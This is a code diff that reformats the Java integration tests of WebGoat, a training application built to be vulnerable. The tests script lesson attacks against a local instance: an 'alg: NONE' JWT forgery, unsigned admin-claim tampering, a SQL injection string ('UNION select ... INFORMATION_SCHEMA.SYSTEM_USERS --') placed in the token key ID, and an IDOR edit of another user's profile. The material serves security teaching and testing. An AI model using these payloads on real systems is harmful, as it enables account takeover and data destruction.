import lombok.SneakyThrows;
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.hamcrest.MatcherAssert;
|
import org.hamcrest.MatcherAssert;
|
||||||
import org.junit.jupiter.api.AfterEach;
|
import org.junit.jupiter.api.AfterEach;
|
||||||
@ -15,10 +16,6 @@ import org.junit.jupiter.api.BeforeEach;
|
|||||||
import org.junit.jupiter.api.DynamicTest;
|
import org.junit.jupiter.api.DynamicTest;
|
||||||
import org.junit.jupiter.api.TestFactory;
|
import org.junit.jupiter.api.TestFactory;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
|
||||||
import io.restassured.http.ContentType;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
public class IDORIntegrationTest extends IntegrationTest {
|
public class IDORIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@BeforeEach
|
@BeforeEach
|
||||||
@ -30,9 +27,7 @@ public class IDORIntegrationTest extends IntegrationTest {
|
|||||||
@TestFactory
|
@TestFactory
|
||||||
Iterable<DynamicTest> testIDORLesson() {
|
Iterable<DynamicTest> testIDORLesson() {
|
||||||
return Arrays.asList(
|
return Arrays.asList(
|
||||||
dynamicTest("login",()-> loginIDOR()),
|
dynamicTest("login", () -> loginIDOR()), dynamicTest("profile", () -> profile()));
|
||||||
dynamicTest("profile", () -> profile())
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterEach
|
@AfterEach
|
||||||
@ -47,9 +42,7 @@ public class IDORIntegrationTest extends IntegrationTest {
|
|||||||
params.put("username", "tom");
|
params.put("username", "tom");
|
||||||
params.put("password", "cat");
|
params.put("password", "cat");
|
||||||
|
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/IDOR/login"), params, true);
|
checkAssignment(url("/WebGoat/IDOR/login"), params, true);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void profile() {
|
private void profile() {
|
||||||
@ -61,7 +54,9 @@ public class IDORIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("/WebGoat/IDOR/profile"))
|
.get(url("/WebGoat/IDOR/profile"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("userId"), CoreMatchers.is("2342384"));
|
.extract()
|
||||||
|
.path("userId"),
|
||||||
|
CoreMatchers.is("2342384"));
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("attributes", "userId,role");
|
params.put("attributes", "userId,role");
|
||||||
@ -78,7 +73,9 @@ public class IDORIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("/WebGoat/IDOR/profile/2342388"))
|
.get(url("/WebGoat/IDOR/profile/2342388"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
|
|
||||||
MatcherAssert.assertThat(
|
MatcherAssert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
@ -86,13 +83,14 @@ public class IDORIntegrationTest extends IntegrationTest {
|
|||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.contentType(ContentType.JSON) // part of the lesson
|
.contentType(ContentType.JSON) // part of the lesson
|
||||||
.body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
|
.body(
|
||||||
|
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
|
||||||
|
+ " \"userId\":\"2342388\"}")
|
||||||
.put(url("/WebGoat/IDOR/profile/2342388"))
|
.put(url("/WebGoat/IDOR/profile/2342388"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,32 +1,33 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import static io.restassured.RestAssured.given;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Objects;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.hamcrest.MatcherAssert;
|
import org.hamcrest.MatcherAssert;
|
||||||
import org.junit.jupiter.api.AfterEach;
|
import org.junit.jupiter.api.AfterEach;
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
import org.junit.jupiter.api.BeforeEach;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
import static io.restassured.RestAssured.given;
|
|
||||||
|
|
||||||
public abstract class IntegrationTest {
|
public abstract class IntegrationTest {
|
||||||
|
|
||||||
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
|
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
|
||||||
|
|
||||||
@Getter
|
@Getter
|
||||||
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
|
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
|
||||||
|
|
||||||
private static boolean useSSL = false;
|
private static boolean useSSL = false;
|
||||||
private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
|
private static String webgoatUrl =
|
||||||
private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
|
(useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
|
||||||
@Getter
|
private static String webWolfUrl =
|
||||||
private String webGoatCookie;
|
(useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
|
||||||
@Getter
|
@Getter private String webGoatCookie;
|
||||||
private String webWolfCookie;
|
@Getter private String webWolfCookie;
|
||||||
@Getter
|
@Getter private final String user = "webgoat";
|
||||||
private String user = "webgoat";
|
|
||||||
|
|
||||||
protected String url(String url) {
|
protected String url(String url) {
|
||||||
url = url.replaceFirst("/WebGoat/", "");
|
url = url.replaceFirst("/WebGoat/", "");
|
||||||
@ -44,17 +45,21 @@ public abstract class IntegrationTest {
|
|||||||
|
|
||||||
@BeforeEach
|
@BeforeEach
|
||||||
public void login() {
|
public void login() {
|
||||||
String location = given()
|
String location =
|
||||||
|
given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", user)
|
.formParam("username", user)
|
||||||
.formParam("password", "password")
|
.formParam("password", "password")
|
||||||
.post(url("login")).then()
|
.post(url("login"))
|
||||||
|
.then()
|
||||||
.cookie("JSESSIONID")
|
.cookie("JSESSIONID")
|
||||||
.statusCode(302)
|
.statusCode(302)
|
||||||
.extract().header("Location");
|
.extract()
|
||||||
|
.header("Location");
|
||||||
if (location.endsWith("?error")) {
|
if (location.endsWith("?error")) {
|
||||||
webGoatCookie = RestAssured.given()
|
webGoatCookie =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", user)
|
.formParam("username", user)
|
||||||
@ -68,18 +73,22 @@ public abstract class IntegrationTest {
|
|||||||
.extract()
|
.extract()
|
||||||
.cookie("JSESSIONID");
|
.cookie("JSESSIONID");
|
||||||
} else {
|
} else {
|
||||||
webGoatCookie = given()
|
webGoatCookie =
|
||||||
|
given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", user)
|
.formParam("username", user)
|
||||||
.formParam("password", "password")
|
.formParam("password", "password")
|
||||||
.post(url("login")).then()
|
.post(url("login"))
|
||||||
|
.then()
|
||||||
.cookie("JSESSIONID")
|
.cookie("JSESSIONID")
|
||||||
.statusCode(302)
|
.statusCode(302)
|
||||||
.extract().cookie("JSESSIONID");
|
.extract()
|
||||||
|
.cookie("JSESSIONID");
|
||||||
}
|
}
|
||||||
|
|
||||||
webWolfCookie = RestAssured.given()
|
webWolfCookie =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.formParam("username", user)
|
.formParam("username", user)
|
||||||
@ -94,12 +103,7 @@ public abstract class IntegrationTest {
|
|||||||
|
|
||||||
@AfterEach
|
@AfterEach
|
||||||
public void logout() {
|
public void logout() {
|
||||||
RestAssured.given()
|
RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
|
||||||
.when()
|
|
||||||
.relaxedHTTPSValidation()
|
|
||||||
.get(url("logout"))
|
|
||||||
.then()
|
|
||||||
.statusCode(200);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public void startLesson(String lessonName) {
|
public void startLesson(String lessonName) {
|
||||||
@ -136,7 +140,9 @@ public abstract class IntegrationTest {
|
|||||||
.post(url)
|
.post(url)
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(expectedResult));
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
|
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
|
||||||
@ -149,36 +155,46 @@ public abstract class IntegrationTest {
|
|||||||
.put(url)
|
.put(url)
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(expectedResult));
|
||||||
}
|
}
|
||||||
|
|
||||||
//TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
|
// TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
|
||||||
|
// only required to be in the same package)
|
||||||
public void checkResults(String prefix) {
|
public void checkResults(String prefix) {
|
||||||
checkResults();
|
checkResults();
|
||||||
|
|
||||||
MatcherAssert.assertThat(RestAssured.given()
|
MatcherAssert.assertThat(
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/lessonoverview.mvc"))
|
.get(url("service/lessonoverview.mvc"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath()
|
||||||
|
.getList("assignment.path"),
|
||||||
|
CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkResults() {
|
public void checkResults() {
|
||||||
var result = RestAssured.given()
|
var result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/lessonoverview.mvc"))
|
.get(url("service/lessonoverview.mvc"))
|
||||||
.andReturn();
|
.andReturn();
|
||||||
|
|
||||||
MatcherAssert.assertThat(result.then()
|
MatcherAssert.assertThat(
|
||||||
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
|
result.then().statusCode(200).extract().jsonPath().getList("solved"),
|
||||||
|
CoreMatchers.everyItem(CoreMatchers.is(true)));
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
|
public void checkAssignment(
|
||||||
|
String url, ContentType contentType, String body, boolean expectedResult) {
|
||||||
MatcherAssert.assertThat(
|
MatcherAssert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
@ -189,7 +205,9 @@ public abstract class IntegrationTest {
|
|||||||
.post(url)
|
.post(url)
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(expectedResult));
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
|
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
|
||||||
@ -202,17 +220,23 @@ public abstract class IntegrationTest {
|
|||||||
.get(url)
|
.get(url)
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(expectedResult));
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getWebWolfFileServerLocation() {
|
public String getWebWolfFileServerLocation() {
|
||||||
String result = RestAssured.given()
|
String result =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/file-server-location"))
|
.get(webWolfUrl("/file-server-location"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
result = result.replace("%20", " ");
|
result = result.replace("%20", " ");
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
@ -224,8 +248,19 @@ public abstract class IntegrationTest {
|
|||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/server-directory"))
|
.get(url("/server-directory"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public void cleanMailbox() {
|
||||||
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
|
.delete(webWolfUrl("/mail"))
|
||||||
|
.then()
|
||||||
|
.statusCode(HttpStatus.ACCEPTED.value());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,5 +1,16 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import com.fasterxml.jackson.databind.JsonNode;
|
||||||
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
|
import com.fasterxml.jackson.databind.node.ObjectNode;
|
||||||
|
import io.jsonwebtoken.Header;
|
||||||
|
import io.jsonwebtoken.JwsHeader;
|
||||||
|
import io.jsonwebtoken.Jwt;
|
||||||
|
import io.jsonwebtoken.JwtException;
|
||||||
|
import io.jsonwebtoken.Jwts;
|
||||||
|
import io.jsonwebtoken.SignatureAlgorithm;
|
||||||
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
|
import io.restassured.RestAssured;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.charset.Charset;
|
import java.nio.charset.Charset;
|
||||||
import java.security.InvalidKeyException;
|
import java.security.InvalidKeyException;
|
||||||
@ -10,23 +21,9 @@ import java.util.Calendar;
|
|||||||
import java.util.Date;
|
import java.util.Date;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.hamcrest.CoreMatchers;
|
import org.hamcrest.CoreMatchers;
|
||||||
import org.hamcrest.MatcherAssert;
|
import org.hamcrest.MatcherAssert;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import com.fasterxml.jackson.databind.JsonNode;
|
|
||||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
|
||||||
import com.fasterxml.jackson.databind.node.ObjectNode;
|
|
||||||
|
|
||||||
import io.jsonwebtoken.Header;
|
|
||||||
import io.jsonwebtoken.JwsHeader;
|
|
||||||
import io.jsonwebtoken.Jwt;
|
|
||||||
import io.jsonwebtoken.JwtException;
|
|
||||||
import io.jsonwebtoken.Jwts;
|
|
||||||
import io.jsonwebtoken.SignatureAlgorithm;
|
|
||||||
import io.jsonwebtoken.impl.TextCodec;
|
|
||||||
import io.restassured.RestAssured;
|
|
||||||
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
|
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
|
||||||
|
|
||||||
public class JWTLessonIntegrationTest extends IntegrationTest {
|
public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||||
@ -61,7 +58,8 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
.claim("username", "WebGoat")
|
.claim("username", "WebGoat")
|
||||||
.claim("Email", "tom@webgoat.org")
|
.claim("Email", "tom@webgoat.org")
|
||||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||||
.signWith(SignatureAlgorithm.HS256, key).compact();
|
.signWith(SignatureAlgorithm.HS256, key)
|
||||||
|
.compact();
|
||||||
}
|
}
|
||||||
|
|
||||||
private String getSecretToken(String token) {
|
private String getSecretToken(String token) {
|
||||||
@ -86,19 +84,23 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/JWT/decode"))
|
.post(url("/WebGoat/JWT/decode"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
|
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
|
||||||
|
|
||||||
String accessToken = RestAssured.given()
|
String accessToken =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/WebGoat/JWT/secret/gettoken"))
|
.get(url("/WebGoat/JWT/secret/gettoken"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String secret = getSecretToken(accessToken);
|
String secret = getSecretToken(accessToken);
|
||||||
|
|
||||||
@ -111,18 +113,21 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/JWT/secret"))
|
.post(url("/WebGoat/JWT/secret"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void resetVotes() throws IOException {
|
private void resetVotes() throws IOException {
|
||||||
String accessToken = RestAssured.given()
|
String accessToken =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
|
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
|
||||||
.then()
|
.then()
|
||||||
.extract().cookie("access_token");
|
.extract()
|
||||||
|
.cookie("access_token");
|
||||||
|
|
||||||
String header = accessToken.substring(0, accessToken.indexOf("."));
|
String header = accessToken.substring(0, accessToken.indexOf("."));
|
||||||
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
|
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
|
||||||
@ -137,10 +142,14 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
JsonNode bodyObject = mapper.readTree(body);
|
JsonNode bodyObject = mapper.readTree(body);
|
||||||
bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
|
bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
|
||||||
|
|
||||||
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
String replacedToken =
|
||||||
|
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||||
.concat(".")
|
.concat(".")
|
||||||
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
|
.concat(
|
||||||
.concat(".").replace("=", "");
|
new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
|
||||||
|
.toString())
|
||||||
|
.concat(".")
|
||||||
|
.replace("=", "");
|
||||||
|
|
||||||
MatcherAssert.assertThat(
|
MatcherAssert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
@ -151,14 +160,24 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/JWT/votings"))
|
.post(url("/WebGoat/JWT/votings"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void buyAsTom() throws IOException {
|
private void buyAsTom() throws IOException {
|
||||||
|
|
||||||
String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
|
String header =
|
||||||
|
new String(
|
||||||
|
Base64.getUrlDecoder()
|
||||||
|
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
|
||||||
|
|
||||||
String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
|
String body =
|
||||||
|
new String(
|
||||||
|
Base64.getUrlDecoder()
|
||||||
|
.decode(
|
||||||
|
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
|
||||||
|
.getBytes(Charset.defaultCharset())));
|
||||||
|
|
||||||
body = body.replace("Jerry", "Tom");
|
body = body.replace("Jerry", "Tom");
|
||||||
|
|
||||||
@ -166,25 +185,36 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
JsonNode headerNode = mapper.readTree(header);
|
JsonNode headerNode = mapper.readTree(header);
|
||||||
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
||||||
|
|
||||||
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
|
String replacedToken =
|
||||||
|
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||||
|
.concat(".")
|
||||||
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
|
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
|
||||||
.concat(".").replace("=", "");
|
.concat(".")
|
||||||
|
.replace("=", "");
|
||||||
|
|
||||||
MatcherAssert.assertThat(RestAssured.given()
|
MatcherAssert.assertThat(
|
||||||
.when().relaxedHTTPSValidation()
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.header("Authorization", "Bearer " + replacedToken)
|
.header("Authorization", "Bearer " + replacedToken)
|
||||||
.post(url("/WebGoat/JWT/refresh/checkout"))
|
.post(url("/WebGoat/JWT/refresh/checkout"))
|
||||||
.then().statusCode(200)
|
.then()
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void deleteTom() {
|
private void deleteTom() {
|
||||||
|
|
||||||
Map<String, Object> header = new HashMap();
|
Map<String, Object> header = new HashMap();
|
||||||
header.put(Header.TYPE, Header.JWT_TYPE);
|
header.put(Header.TYPE, Header.JWT_TYPE);
|
||||||
header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
|
header.put(
|
||||||
String token = Jwts.builder()
|
JwsHeader.KEY_ID,
|
||||||
|
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
|
||||||
|
String token =
|
||||||
|
Jwts.builder()
|
||||||
.setHeader(header)
|
.setHeader(header)
|
||||||
.setIssuer("WebGoat Token Builder")
|
.setIssuer("WebGoat Token Builder")
|
||||||
.setAudience("webgoat.org")
|
.setAudience("webgoat.org")
|
||||||
@ -194,15 +224,20 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
.claim("username", "Tom")
|
.claim("username", "Tom")
|
||||||
.claim("Email", "tom@webgoat.org")
|
.claim("Email", "tom@webgoat.org")
|
||||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||||
.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
|
.signWith(SignatureAlgorithm.HS256, "deletingTom")
|
||||||
|
.compact();
|
||||||
|
|
||||||
MatcherAssert.assertThat(RestAssured.given()
|
MatcherAssert.assertThat(
|
||||||
.when().relaxedHTTPSValidation()
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.post(url("/WebGoat/JWT/final/delete?token=" + token))
|
.post(url("/WebGoat/JWT/final/delete?token=" + token))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void quiz() {
|
private void quiz() {
|
||||||
@ -212,5 +247,4 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
|
|
||||||
checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
|
checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -3,92 +3,139 @@ package org.owasp.webgoat;
|
|||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
import io.restassured.path.json.JsonPath;
|
import io.restassured.path.json.JsonPath;
|
||||||
import org.junit.jupiter.api.Assertions;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.io.FileInputStream;
|
import java.io.FileInputStream;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Properties;
|
import java.util.Properties;
|
||||||
|
import org.junit.jupiter.api.Assertions;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class LabelAndHintIntegrationTest extends IntegrationTest {
|
public class LabelAndHintIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
final static String ESCAPE_JSON_PATH_CHAR = "\'";
|
static final String ESCAPE_JSON_PATH_CHAR = "\'";
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testSingleLabel() {
|
public void testSingleLabel() {
|
||||||
Assertions.assertTrue(true);
|
Assertions.assertTrue(true);
|
||||||
JsonPath jsonPath = RestAssured.given()
|
JsonPath jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.header("Accept-Language", "en")
|
.header("Accept-Language", "en")
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
